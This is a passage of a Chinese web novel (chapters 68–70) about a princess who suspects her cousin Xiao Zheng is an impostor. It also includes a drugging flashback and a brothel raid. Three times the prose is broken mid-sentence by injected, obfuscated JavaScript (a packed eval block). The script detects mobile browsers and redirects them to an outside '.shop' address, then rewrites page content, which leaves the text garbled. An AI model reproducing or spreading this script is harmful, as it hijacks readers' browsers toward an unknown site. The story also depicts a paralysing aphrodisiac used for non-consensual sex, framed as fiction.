苏萦随袁鸣踏进南三所的西苑书房时，太阳正斜斜透过棂格，凌空架起织机，纺着缕缕金线。屋内陈设简洁整肃，沿墙排列着几架榆木书柜，架上整整齐齐码着文卷函匣，浮尘在日影中慢悠悠地飘荡。 袁鸣指了指靠窗桌面上放着的一厚捆纸张皮卷：“殿下的书信文书皆在此处，辛苦郡主啦。”说罢便自去较远那排柜前拾掇其他旧物。 苏萦应了声，随手用桌旁的小刀划开结实的绑绳，里头信札一件件束得齐整。她随手抽出一封，尚未展读，先被字迹攫住了目光：那字形张扬，撇捺如刀，起落间满是少年人收不住的锋棱意气。 “哈！”她不由轻笑出声，朝袁鸣那边扬了扬信纸：“这是他刚从军时写的吧？居然留了这么久！这字还没练成呢，我印象里他就写成这样——” 袁鸣从柜后探出个脑袋，茫然道：“不是啊郡主，行军之人，行囊贵在轻便，这些日常笔墨哪留得住那么久啊？桌上那些，应该全是咱们回京之前两个月内写的，我急急忙忙就拢了这些回来。” 苏萦一怔，低头细看信上内容。是一封未寄出的家书，墨色已沉，纸上言辞却鲜活扑面： 「母亲膝下：儿不日将独闯安国营盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145280|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。此计虽险，胜算却大。若成，则安国窥边之患可解其半。儿此番必立奇功，如父皇一般，趁年少时便做出一番事业，方不负母亲期许，亦不负男儿肝胆。另问萦妹妹、庆弟安好。勿念。」 字句间豪气纵横，一个跃跃欲试，恨不得即刻提剑换功名的少年身影，几乎要破纸而出。落款日期，正是他孤身潜入敌营，失手被俘的前一日。 苏萦指尖无意识地抚过纸面，心中微动，忙在皮卷中翻寻。果然，紧挨此信的下一封，形制迥然不同。 抽出展阅，先见字迹——与前信的疏狂迥然不同，工整端严到了极致。横平竖直，笔笔收敛，宛若用规尺量过。再看行文，是一封呈给晋王萧谅的认罪书： 「臣弟萧征惶恐顿首：前以轻躁之姿，擅行险着，几误军国大事。赖天恩垂悯，将士用命，得脱险厄。反躬自省，咎皆在征。一曰不察形势，二曰不纳忠谏，三曰恃勇轻进。酿此大过，愧对兄长训导之恩，亦负父皇母后养育之德。恳请严责，以儆效尤。」 通篇文法森严，措辞精当，情、理、责层层递进，竟寻不出一丝错漏或意气。俨然一位久经宦海，深谙进退的老成文臣手笔，简直像是把许师傅一口吞了，才写出这么一封书信。 苏萦将两信并置案上。日期相差不过三日，墨色新旧相仿，可这字迹，这文气……怎么可能是同一个人所写呢？ 她拿近细究这封认罪书上的字迹，虽工整端严，细看起笔收锋处常有不易察觉的颤意和欹斜——倒底是因为重伤初醒，笔力虚浮，还是……是他用左手写的呢？ 为求印证，她倏然起身，抓过萧征案角那叠“废纸”。 萧征此次回京后，不知何故变得如此俭省。这几日罚抄，凡字句有错漏的纸张，只要还有半面空白，都留起来以备之后再用。 苏萦从中抽出三五张，铺在地面上排开细看，午后日光正好，明晃晃地照在纸上。 一张是《孙子兵法》节抄，“兵者诡道”四字写得沉静雍容，笔意内敛而筋骨暗藏；一张是《大朔律》片段，字字匀停秀挺，布局如棋。这些字，与那封认罪书一脉相承，却更见从容隽永，古怪的欹斜角度也荡然无存。与被俘前那封家书中挥洒不羁，甚至带些稚嫩的笔迹相比，何止天差地别？ 两种笔墨，两种心性，中间隔着的，仿佛不止两日，而是二十年。 “袁鸣，袁鸣！”一个模糊却骇人的念头骤然涌上心头。苏萦唇齿微微发颤，声音压得极低，谨慎地向窗外瞥了一眼，像是怕惊动什么。她一步一挪地挨到袁鸣身边，手指无意识地攥住了自己的袖子，指尖发凉。她仰起脸，盯着袁鸣茫然不解的表情，小声试探道： “你有没有觉得……” “……有还哥哥最近怪怪的？” 68.“我今天就揭开你真面目！” “太怪了郡主，太怪了！”袁鸣一听这话，简直像被踩了尾巴的猫，原地扑腾蹦了起来，脸上愁苦与激动混作一团，失声大叫：“终于有人跟属下感觉一样了！郡主，有你真好啊！” 两人确认过眼神，立马打开了话匣子，这几个月胸中积攒的疑云竹筒倒豆子般脱口而出： “说你十五岁，还是个孩子，想不起来自己十八——” “上学堂以为自己是先生——” “知道妇人肚里的孩子要四个半月才会动——” “变成左撇子，又突然改了字体，对市井生活特别了解，还老说些老气横秋的丧气话——” “说我死了，脑袋也挂在城墙上！” “没头没尾的突然就不让我往水边去！” 袁鸣在脑中苦苦搜罗，突然灵光一闪，两手一拍： “说不想娶你！” “他不想娶我？！”苏萦立马急了，眼睛瞬间瞪圆，嗓音也拔高，方才那点探究疑云的心思，立刻被这更具冲击的小道消息挤到一边：“岂有此理！那他想娶谁啊？！” “我当时跟您反应一模一样！”袁鸣拍着大腿，一脸找到真理的愤慨：“这要是真殿下，一定非您不娶啊！” “所以……”苏萦压低了声音，眸光惊疑不定。 “他不是萧征！”两人四目相对，异口同声。 “那他，他是……”苏萦的声音带了丝颤抖。 “——他是个疯老头儿假扮的！”两人再次异口同声，完成了这惊人的逻辑闭环。 “嗬——！”苏萦倒吸一口凉气，一双小手紧紧捂住自己的嘴，眼睛瞪得溜圆，声音从指缝里漏出来，又轻又颤：“我们那日救回来的……是安国的奸细？” “那，那真的殿下去哪儿了？”袁鸣急得抱着头原地转了个圈。 苏萦被这念头吓得眼里瞬间蓄满了泪花：“我有还哥哥……不会还在安国做俘虏，不会……”她越说哭腔越浓重，终是崩溃大哭出来：“不会让他们给杀了吧……” “不会的不会的郡主，殿下吉人天相，定能逢凶化吉……”袁鸣嘴上忙不迭地安慰，可自己的声音却也忍不住发哽，悲从中来。一时间，两人相对而立，一个泪眼婆娑，一个鼻头发红，仿佛下一瞬就要抱头痛哭了。 “殿下呀……您到底在哪儿呢……这可怎么办呐……” 悲情气氛弥漫了片刻，袁鸣猛地一甩头，想起正事：“郡主！咱们得赶紧禀报陛下和娘娘啊！” “慢着。”苏萦却抬手制止，虽还带着鼻音，眼神却也迅速冷静下来：“眼下这些全是咱们的猜测，还没调查清楚，先不能妄下定论。”她用袖子胡乱擦了擦脸，深吸一口气，一挥小手让袁鸣附耳过来，神神秘秘道：“一会儿等他回来，你先这样然后那样……让我来审审他。咱们先探探这疯老头的虚实！” 没过多一会儿，“疯老头”浑然不觉地回到了南三所。 袁鸣正如临大敌地杵在书房门口，一见他，整个人几不可察地弹了一下，脸上挤出一个僵硬的笑容：“哈！……殿，殿下回来啦？” “嗯。”萧征心思不在此处，随口应了，径直走入已被收拾得空荡齐整的书房：“郡主刚才来过了吗？” “来——来了又走了！”袁鸣的眼珠不自然地游移，手指都下意识死死地攥住了衣襟。 “她住处离这儿太远，来一趟不容易。下次再有这种小事，你担心做不好就同我说，别再麻烦她了。”萧征疲惫地揉了揉胀痛的眉心，掩去一个困倦的哈欠，回头嘱咐袁鸣：“我在书房小睡一会儿，这两日都没休息好，困得我眼睛都睁不开了。你申时三刻叫我起来，我得想办法出宫一趟。” 袁鸣忙不迭应下，几乎是同手同脚地退出去，小心翼翼地从外头带上了门。 书房东侧有张窄榻，榻脚立着一只专收被褥的黄花梨圆角大柜。萧征倦极，懒得更衣铺床，和衣便倒在榻上，几乎瞬息之间，呼吸就变得悠长平稳。 柜门内，苏萦静静地蜷坐着，捂着心口，还听见胸膛里嗵嗵地跳得又急又响。透过柜门上一线微不可察的缝隙，她定定地望着萧征陷入沉睡后难得恬静的面容。 此刻正是时机。趁他毫无防备，猛冲出去，制住他。 可她心里总回想着刚才和袁鸣最后的谈话。 “袁鸣，你有没有觉得，你们出征离京之前，有还哥哥其实是不喜欢我的？” “郡主，你们自小一同长大，他怎么会不喜欢你呢？” “就，不是像男子喜欢女子，像你对你娘子的那样喜欢？” 袁鸣茫然地挠挠头。 “……我怕真的有还哥哥根本不喜欢我，是这个假的喜欢我。” 太阳一点一点的掉下去，书房里渐渐暗下来了。她的腿都坐麻了，自己默默无声地揉捏着。 榻上的萧征无意识地翻了个身，压到身后的伤处，痛得“嘶”了一声，睡梦中皱起眉头。 他这顿打还是为我挨的。苏萦纠结地垂下眼眸。 就在这时，萧征忽然抬起左手，胡乱在脸上搓了一把。 他要醒了！ 苏萦浑身寒毛瞬间倒竖，心脏狂跳几乎撞出胸腔。大好机会，抓住他，让他老实交代的大好机会！错过就再也没了。 即使真的萧征不喜欢她，她也一定要救他回来！ 一念决绝，她再不犹豫，双手蓄力，猛地推开柜门，整个人如离弦之箭扑了出去！ ———— （审核你好，这两人是真的打架，一点边也没擦） 柜门“哐当”骤响，一道纤细身影裹着风与灰尘猛扑而来。萧征的意识正挣扎在沉眠与清醒的边缘，武将的本能却已先于思考启动——他腰腹发力就欲弹起，同时左手闪电般探出，直取对方腕脉。 可他忘了身后新伤，经此一挣，剧痛猛地炸开，让他身形一滞。 就这一滞的瞬息，苏萦已到眼前。她毫无章法，全凭一股豁出去的蛮劲，压根不闪避他擒拿的手，反而合身撞入他怀中，脑袋重重磕在他下颌上。 “呃！”萧征猝不及防，闷哼一声，牙关磕碰，眼前金星乱冒，擒拿的手失了准头。 苏萦趁他吃痛松懈，双手乱抓，竟一把揪住了他前襟，借着自己扑来的冲势和体重，死命将他往回按。萧征猝然后仰，窄榻无处可退，后脑“咚”地磕上墙壁，刚凝聚起的那点力气又散了大半。 他视野还未清晰，只觉身上一沉。那丫头竟已不管不顾地抬腿跨了上来，膝盖胡乱压住他试图格挡的小臂，整个人蜷坐着狠狠往他腰腹处一沉！ “……唔！”萧征一口气险些没上来。这哪里是武功路数？分明是市井孩童打架的野路子。他空有沙场搏杀的技艺，此刻在这方寸之地的贴身缠斗中，竟被这毫无征兆，毫无逻辑的“乱招”打得一时发懵。左手臂被她的腿别着，右手慌忙去撑榻沿想借力翻起，掌心却按到不知何时滑落的一卷兵书，竹简一滚，手臂瞬间滑开。 苏萦抓住这电光石火的空档，用尽全身力气向下压去，双腿死死锁住他的挣扎，整个人骑跨在他腰上，双手如风，不在攻防，直冲他头脸而来，指甲径直抠进了他耳后的皮肤。 苏萦？！ 萧征觉得这一幕简直荒唐到让他不敢相信自己的眼睛，可耳后顷刻间传来的剧痛提醒着他这并不是一场噩梦—— “我就知道你不是我有还哥哥——说！你把我有还哥哥藏哪儿啦？！你把他怎么样了你！我今天就揭开你真面目——” 苏萦气喘吁吁地喊着，手指用力地抠挖。 “未晚！耳朵，未晚！” 萧征痛得倒吸凉气，脑袋都被她扯得偏向一边：“你干嘛呀你！” 耳后脖颈处又痛又痒，指甲刮蹭的感觉让他头皮发麻。他狼狈地偏头躲闪，双手慌忙去捉她作乱的手腕， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156529|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈何她整个人骑在他身上，重心压得他难以全力施展，加之怕动作太大真伤了她，竟一时制不住那双胡乱探索的小手。 场面彻底失控。窄榻吱呀作响，两人在榻上拧成一团。苏萦一手死死揪住他前襟固定他，另一手执着地在他耳后，下颌，脖颈附近又摸又抠，寻找那幻想中的“面具接缝”。萧征则窘迫万分地左右摆头，双手既要抵挡她的“探索”，又要稳住她摇晃的身体以免两人一起滚下榻去。 “定是在这里……别动！”苏萦几缕发丝被汗粘在颊边，一双眸子在昏暗光线下亮得惊人，眼神执拗地死死瞪着他，指尖用力一刮。 “嘶——！”萧征痛得吸了口气，感觉那块皮肤一定被她抠破了。 “袁鸣!袁鸣!”萧征在挣扎间隙，朝着门口大喊，指望那个忠心的侍卫来解救这荒谬的困境。门外却一片死寂，仿佛根本空无一人。袁鸣此刻正背贴门板，眼观鼻鼻观心，心里默念：殿下，对不住了，属下这回......跟郡主是一条船上的! 等不到援兵，萧征只得自力更生。趁她再次换手摸索的间隙，他腰腹骤然发力向上一挺，试图坐起。苏萦猝不及防，随着他起身的势头惊呼一声，上半身失控地向前扑去，为了稳住自己不掉下去，双臂下意识地紧紧环抱住他的脖颈，勒得萧征呼吸一窒。 这下，两人以一种更加古怪滑稽的姿势僵持住了：萧征半仰半起，苏萦挂在他身上，一只手仍不屈不挠地在他后颈处又摸又挠。 萧征忍着身后的疼和脖子的勒迫，屏住一口气，腰杆再次发力，终于完全坐直。苏萦便顺着这股力道滑坐到他大腿上，双腿却还不甘心地紧紧锁住他的腰。萧征狼狈地反手从自己脖颈后捉回她两只不安分的手腕，牢牢扣在胸前，这才喘着粗气瞪向近在咫尺的那张脸蛋儿——忙活得红扑扑的，鼻尖甚至沁出了细汗。他又是好气又是好笑，气息未平地质问：“你发什么疯啊！” 苏萦手腕被制，却猛地借力向前一挣，身体更贴近他，空出的双手又往他脸上头上一顿抓揉：“是不是接缝在其他地方！藏在头发里面吗！”她手指蛮横地插进他束好的发间，毫无章法地摸索拉扯，顷刻间便将那整齐的发髻搅得蓬散如草窝，好几绺头发挣脱束缚，狼狈地垂落脸前。 就在这又一轮混乱的缠斗中，苏萦目光忽然锁定他脖颈一侧——那里似乎有一小片皮肤微微翘起。 “啊哈，我就知道!”她趁隙猛探手，“刷啦”一下将那翘起的皮边一把扯下! “啊！”萧征痛得大叫一声，只觉得那条伤疤火辣辣地疼，肯定是又破皮流血了。 “奸细”的“真面目”揭开了，手里只捏着窄窄细细，沾着血迹的一长条。苏萦定了定神，看看眼前人的脸，还长着萧征的模样，只是被头发挡住大半，还挂着一副愤怒又忍痛的表情。 低头看看自己满含血丝的指缝，又看看他脖子上侧脸上新鲜的血道子，苏萦倒吸一口凉气，心虚地小声嗫嚅：“好像……是真的脸……” “难道说——”她眼中的犹疑瞬间又被另一种惊恐取代：“像话本里说的那样，你把他脸皮剥下来换了他的脸？！” 话音未落，她竟又大力掀起他的耳朵，自己几乎把整张脸凑过去，急切地寻找缝合的痕迹。 “……” 萧征终于忍无可忍。他猛地用力，将她两条还在企图摸索的胳膊一并捉住按下，随即抬起双手，捧住她那张写满固执与怀疑的小脸。他的手掌微微用力，将她柔嫩的脸颊肉挤得嘟起，像极了宴席笼屉里饱满可爱的红曲粉包子。他就这样定定地，生无可恋地望进她近在咫尺的圆睁的眸子里。一股荒诞至极，无法抑制的笑意混同着深深的无奈，直冲头顶——人到了极度无语的时候，原来真的是会想笑的。他咬牙切齿，一字一顿道： “苏——未——晚！” “明日我就去赏明宫，把你那些乱七八糟的话本子全烧了！” 69.野猫 两人保持着这面对面的滑稽姿势，尴尬地沉默。萧征胸膛起伏，努力平复着呼吸和情绪。他盯着苏萦那双依旧写满怀疑，仿佛还不肯善罢甘休的眼睛，一个荒谬却清晰的认知逐渐浮现。 “你觉得我是别人易容的。” 萧征的声音里带着难以置信的震惊，还有一丝后知后觉的后怕。 “那我得是多么危险的一个人，” 他试图用逻辑唤醒她，语气焦急起来：“你就这么手无寸铁地冲过来——” “非也非也，有备而来嗷！” 苏萦闻言，竖起食指在他眼前晃了晃，脸上的表情行云流水换成了“一切尽在我掌握”的得意。 说罢，她开始神气活现地从自己身上各个角落掏出簪子匕首丝绳毒药……一一展示。 “这个，我扎他的眼睛。” “要是让他躲过去了呢，这个，扎他的……下面。”她眼神往下一瞟，意有所指。 “这个，我绑他的手脚。” “这个，我塞到他喉咙里，霎时就动弹不得。但是呢，只是四肢无力，不耽误问话！” “这可是我特制的，没见过吧？”她像献宝一般，从贴身暗袋里小心翼翼捏出一粒红色的小药丸，在渐暗的光线下显得格外醒目。 这不就是当年苏萦逼他床上就范用的药吗。 仇人相见，分外眼红。萧征本来像看小孩子过家家一般意兴阑珊地听着，此时心里突然悲愤交加，一掌把那药丸拍飞出去。 “诶！你干嘛呀！你知道做这个有多费时费工吗！”苏萦连忙从他身上跨下，下床俯身跪在地面上爬前爬后地在床前桌下寻觅：“叫你拍哪儿去了！还不过来帮我找！” 萧征趁她背对着自己埋头苦找时，目光锐利地扫视地面，很快在一只桌脚边发现了那点醒目的红色。他不动声色地俯身，用宽大的袖袍遮掩，迅速将药丸拾起，藏入袖中暗袋。 他了无痕迹地直起身，对着还撅着屁股满地找的苏萦，用一种仿若不屑的口吻淡淡道：“别找了，我让丹房的人按方子再炼一批赔你。” “哼，好吧！”苏萦气哼哼地直起身，叉着腰瞪他一眼。还没来得及再说什么，就听见门外传来一阵刻意压抑但仍显嘈杂的低语，仿佛有不少人正屏息围在外面。 “哎哟，对了！”苏萦拍了拍裙子上的灰，急急忙忙走到门口，猛地拉开了房门雀跃地高声喊： “是真的有还哥哥！散了吧散了吧！” 只见门外严阵以待地挤着一大帮人，赏明宫的雀头手里举着个硕大花瓶，正准备随时砸开逃遁之人的脑袋，几个南三所侍卫手按刀柄，还有两个小太监已经做出要往不同方向跑去报信的起跑姿势。赏明宫的朱樱苕荣，一个手握塞满火药的竹筒，一个攥着火折子，分明是只等房中传出信号，一道红烟霎时便要直插云霄。 门外众人面面相觑，抻着脖子看看衣衫不整，发髻凌乱但如假包换的萧征，再看看红光满面，气势十足的郡主，都又是松了口气，又是有些不甘心地，稀稀拉拉地应着“是”，慢慢散去。 全完了。我的一世英名全完了。 萧征看似面无表情地坐在榻上，内里的尊严已经稀里哗啦地碎了一地。 他表情中的细小裂痕当然逃不过苏萦的眼，一见他脸色越来越黑，苏萦立马扯出一个假笑： “诶嘿嘿，时候不早啦，我住的又远，先回去啦！” 说罢，她提着裙角就嗖嗖嗖地跨出门槛，拉着赏明宫一帮子人速速遁走。仿佛只瞬息之间，那一干人就消失的无影无踪。 萧征定定地望着门外，恨得牙根痒痒。 这又莽又犟的混蛋丫头，害得他狼狈至此！他恨不能，他恨不能……刚在气头上就顺势把她摁在怀里，揍她两下屁股！ 一定打得她哇哇大哭，一定让她呜呜咽咽地搂着他的脖子求饶！ 刚骑跨在他腰腹上的重量和体温仿佛还没有消失。 他保持着这个姿势，愣愣坐在床上，气反倒越喘越粗，越喘越急了。 在想什么呢？有什么好想的？ 他上辈子见过许多回，不稀奇。 不稀奇，不代表不想念。 他隔着袖口的布料，手指无意识地揉捻着那颗药丸。 这药融在酒里是甜的。 他早该防备，怎么那天不年不节，她那么有雅兴，要与他共饮一杯。 那药见效极快，还没走出花厅的门，他两腿就软了。 猝不及防跌在地板上，摔得简直像现在一样，屁股火辣辣地疼。 “来人，来人！本王怎么——”麻痹迅速地爬上四肢，他惊惶恐惧地急唤。 他眼睁睁地看着本往门口来的下人们听到他的话音，都沁着头急匆匆转身离去。他不知道谁家王爷混成他这样，王府中连一个心腹也没有。 花厅的门被从外头掩上，她还坐在自己的座位上，气定神闲地自斟自酌。 “摔疼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167744|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧？”她巧笑嫣然，乐得看他的笑话：“谁叫你走得那样急，我为了今日，还专门让人在桌下铺了一条厚毯子呢。” “不过，在哪儿都一样。”她踱步过来，赤脚从他身上跨过。水红色的纱衣带起一阵香风，略过他的鼻尖。这屋里忽然热得过分，鹅梨帐中香的馥郁香气浓得化不开。 “……你给我吃的什么？！”他恨恨地瞪着她，急促地喘息。 “让你不讨厌我的药。”她含着泪，自暴自弃般苦笑着，欺身上来，压下他无法动弹的身体。 “萧征，告诉我你在想什么？你的心呢？” “苏萦！你疯了！你这样只会让我更厌弃你！我永远都，都不会……”他躲闪着目光，徒劳地想挣扎起身。 她附在他耳边嗤嗤地笑了。 “我才不在乎你说什么。” 她用拇指轻轻按住他上下乱滚的喉结—— “——我只当这是你的心。” 灶房里，一只小猫莽撞地跳上桌面，打翻了桌上的长颈瓶。 水缸中的两条游鱼，被这清脆的响动吓得重重撞在一起。 瓶中装着的热牛乳，尽数倾泻，淋漓地顺着桌面流下。 小猫俯下身子，用带着毛刺的小舌，尽情地舔舐香甜的乳汁。 今晚灶房里空荡荡的，没人赶小猫离开。餍足的小猫，紧挨着倾倒的长颈瓶在桌面上蜷成一团睡了。长颈瓶很不情愿挨着它，宁愿滚下桌面摔碎了。 不过小猫不在乎。 第二天，厨子从水缸中捞出那两尾鱼，还看见它们身上斑斑点点撞坏的鳞片与瘀痕。 ————— 他喘着粗气回过神来，骗自己是让她给气的。半天才猫着腰含着胸站起身，若无其事地走出门去。 袁鸣已早早地等在门前，见了他嘿嘿假笑。 “你跑哪儿去了！”他懊丧地抱怨：“我叫破了喉咙……” “属下……属下忙去了呗。”袁鸣心虚地眼珠乱转。 他懒得跟他计较，只催他与自己速速动身。 “殿下，您的脸怎么搞的呀！”袁鸣装傻到底，大惊小怪地问。 “野猫。”他怨念满满地随口答，想想又纠正道：“……家猫。” 没走出几步，他想要拉起领子遮掩脖子上那道划伤，不小心触到让她挠烂了的后颈皮，痛得他“嘶”地一抽冷子，咬着后槽牙恨恨地嘟哝： “……野猫！” 70.敢偷着挺腰，不敢睁眼啊？ 三更正，晏京城东，槐树胡同。 萧征从恒济当后窗翻出时，掌心紧攥着一只雕花木匣。袁鸣紧随其后，落地时压低了声音：“殿下，方才那掌柜分明认得晋王殿下的印信，嘴硬不说罢了——” “他今晚会说的。”萧征抬眼望向胡同尽头，那青布短打的瘦高男人正快步消失在拐角：“跟上。” 袁鸣一凛，不再多言。 两人穿过两条街巷，那人脚步极快，专拣暗处走，俨然是反追踪的老手。萧征隔着十余步不紧不慢地坠在后面，直到那身影在一座三层楼阁前停住。 楼檐下悬着密密一排红纱灯笼，暖光透过薄绢，映得门楣上“绮霞阁”三字旖旎生晕。丝竹声隐约从二楼传出，夹着女子娇软的笑语，脂粉气混着炭火暖意从门帘缝隙涌出来，在腊月寒夜里蒸腾成一团暧昧的雾。 袁鸣的脚步刹时钉在原地。 萧征已迈步走向侧巷，见他没跟上来，疑惑道：“快走啊，他进去了。” 袁鸣没动。 萧征回身看他。 袁鸣站在原地，嘴唇翕动半晌，死盯着那门楣，终于从齿缝里艰难挤出颤抖的气声： “殿下，这儿，这儿不是咱们该来的地方！” 萧征微微蹙眉：“咱们只是进去跟踪，又没点姑娘。” “没点？”袁鸣激动的声音都变了调：“让人看见咱们进去了，那，那没点也是点了！有理也说不清！” 萧征沉默一瞬。 “殿下！”袁鸣近乎绝望地追上半步，压低嗓子，那眼神里的悲愤几乎要溢出来：“您，您这么干对得起郡主吗？” 萧征的步子顿了一下。 他没回头，声音淡得听不出情绪：“……跟踪要犯，与郡主何干。”说完便掀帘先行走进。 袁鸣在原地僵了三息，咬牙跟上去时，表情近乎悲壮。 他从十三岁随侍殿下，上刀山下火海没皱过眉，此刻却满脑子都是家中娘子那张笑吟吟的脸。临出门娘子还替他紧了护腕，说“早些回来”，他说“一定，这几日殿下禁足，我到宫里转一圈就回来”—— 完了。 袁鸣绝望地想，全完了。 萧征从绮霞阁后巷翻入。楼内格局回环，他循着那瘦高男人的踪迹摸上二楼，袁鸣跟在身后，每一步都像踩在钉板上。两侧厢房不时传来觥筹交错的欢声笑语，他目不斜视，耳根却烧成一片，只敢牢牢盯着萧征的后脑勺。 “殿下，”他压低嗓子，近乎恳求：“属下在外面把风——” “你可是我的贴身侍卫。”萧征头也不回。 袁鸣闭嘴了，神情如同赴死。 二楼楼梯口，瘦高男人停在一道槅扇前，三短两长叩门，旋即闪身进去。萧征停步于转角暗处，目光掠过门楣——这间厢房不在主楼，僻处东侧檐角，窗外便是空无一人的冰池。而方才叩门那三短两长，分明是军中斥候惯用的暗号。 萧征示意袁鸣封住楼梯口，自己贴近门扇。 里头隐约传来人声。 “……当铺那边走漏了风声？” “只一个跟梢的，已经甩脱了。”瘦高男人的声音响起：“只是近来总有人鬼鬼祟祟来查，恐怕是让人嗅着什么了。晋王殿下说——” “——怀疑是十七皇子。” “怕什么？”另一人轻蔑地冷哼：“那十七皇子，前一阵子才在安国军营被俘，被打了个半死，像条丧家犬似的被晋王殿下拖回来。仗都打不明白的小愣头青，敢查殿下的底？” 萧征神色未动，拳头却慢慢收紧。 下一瞬，他抬脚。 槅扇轰然洞开。 屋内三人遽然起身，烛火晃成一片。瘦高男人认出他来，瞳孔骤缩，腰间短刀已然出鞘。 “什么人？这儿可不是你小年轻该来的地方——” 萧征并不答话。他欺身直入，掌风先至，逼退左侧一人。袁鸣紧随其后，却束手束脚——厢房狭窄，安置着屏风矮几，更显局促，他怕碰倒什么，更怕碰着什么人。眼角余光瞥见里间纱帐上搭着一件女子的藕荷色披帛，当即心惊肉跳地收回视线，身手只敢朝空荡的地方比划。 瘦高男人虚晃一刀，便要夺门而出。 “袁鸣，拦住他！” 袁鸣奋力回身堵门。萧征侧身避开另一人踢来的矮凳，目光锁定瘦高男人微张的口——他要活的，要人证。 袁鸣奋力缠住瘦高男人的刀路，萧征指尖那粒红色小丸早已扣稳，瞅准对方张口喘息之机，屈指一弹—— 那药丸在空中划出一道细弱的红线，眼看便要射入对方咽喉。岂料瘦高男人竟不闪不避，反倒猛地一缩颈，整个人矮身下潜，同时肘击袁鸣小腹。袁鸣吃痛弯腰，正好仰面张嘴，那粒红色小丸不偏不倚，精准无比地落入他大张的口中。 “呃——！”袁鸣瞪圆了眼，下意识掐住自己的脖子，喉结不由自主滚动了一下。 药丸下肚。 瘦高男人趁隙拉开房门，三人闪身而出，混入廊中慌乱走避的宾客与姑娘之间，转眼便没了踪影。 萧征本可追击，却硬生生刹住脚步——袁鸣正以一种极其缓慢，极其绝望的姿态，一寸一寸地往下瘫。 “殿下……”袁鸣的声音像被抽干了力气，靠着屏风滑坐在地。腿蹬了两下，没蹬动。试图抬手，手指只微微弯曲，便无力地垂落在膝头：“属，属下动不了了……” 萧征低头看看瘫成一条的袁鸣，不甘心地掩上了房门走回来。 “……咽下去了？你没事张那么大嘴干什么？”萧征慢慢蹲下身，与袁鸣平视。他帮袁鸣把歪到一边的脑袋扶正，又理了理他被肘击后皱成一团的前襟，语气平淡。 “殿下您……站着说话不腰疼啊……”袁鸣眨巴着眼睛，只有眼珠子还能灵活转动，神情凄苦：“您给属下吃的这是什么……什么毒药啊？不会要人命吧？！”他的声音直发抖：“殿下，属下家里还有老母，有娘子，有没出世的孩子，全都靠着属下一个人……” 他吸着鼻子，泪水已在眼眶打转：“属下今日出门前，说一定早早儿地回家，给我娘子露一手……她说想吃属下做的煨羊肉，属下来时都路过肉铺了，想着办完差再买，羊肉新鲜……” 他越说越悲从中来，声音哽咽得不成调：“结果她苦等我一晚上没回家，明日发现我死在……死在这种地方……吭吭吭吭……” “……你少说话吧。”萧征打断他，无奈道：“不会要人命的。” 袁鸣的抽噎声卡在半途，泪眼婆娑地望着他，像望着最后一根救命稻草：“那这毒发之后……都有什么症状啊？” 萧征语气平静，甚至带着一种古怪的，仿佛习以为常的从容：“不过是四肢麻痹。” 他顿了顿，眼神飘忽，搓了搓鼻子： “……可能还会有一点儿，催情的……燥热。” 袁鸣的表情僵住了。 他维持着半瘫半坐的姿势，怔怔望着萧征，瞳孔渐渐放大。半晌，他缓缓低头，用一种极其惊惧的目光，看向自己尚且平静的腰带以下。 然后他后脑缓缓地抵上屏风，开始新一轮的泫然欲泣。 “殿下，”袁鸣咧着嘴嚎啕大哭：“殿下您救救属下……我跟我娘子感情好，我不能让她看见我这样，我，我说不清了啊！” 萧征动了动嘴唇，难得语塞。半天才为难地说： “可是……我也没有解药啊。” 袁鸣眼神彻底绝望。 “但是这毒应该一会儿就解了。”萧征垂下眼，声音放得很轻，像在陈述一个自己验证过许多次的事实：“我陪你在这儿缓缓。” 袁鸣吸着鼻子，带着浓重哭腔：“……多久能解啊？” 萧征的目光落向别处，红着耳根略作估算：“呃，半个时辰左右吧。” 袁鸣睁开眼，湿润的睫毛下透出绝处逢生的微光：“……当真？” “……嗯。” “那，那属下就在这儿……”袁鸣环顾四周，满目狼藉的厢房，倾翻的矮案，纱帐半掩里间，还飘着一缕不知哪个姑娘留下的香粉气：“……在这种地方缓半个时辰？” 萧征没说话。他起身，将倾翻的矮案扶正，又把散落的垫褥踢到墙角。做完这些，他在袁鸣旁边的地板上坐下，背靠窗台。 窗外是结了薄冰的池子，映着阁楼的红灯笼，粼粼一片碎光。 “等着吧。”他说。 袁鸣瘫在屏风旁，望着头顶描金的藻井，神情凄苦，声音幽幽的：“半个时辰……属下要是起了什么不该起的反应……” 萧征没有接话。 袁鸣自顾自悲戚：“您可一定要给属下作证，虽然就算实话实说我娘子也未必相信……说执行公务，在绮霞阁包房里瘫了半个时辰，什么都没干就是起不来——这看着像什么都没干的样子吗……” 萧征依然没有接话。 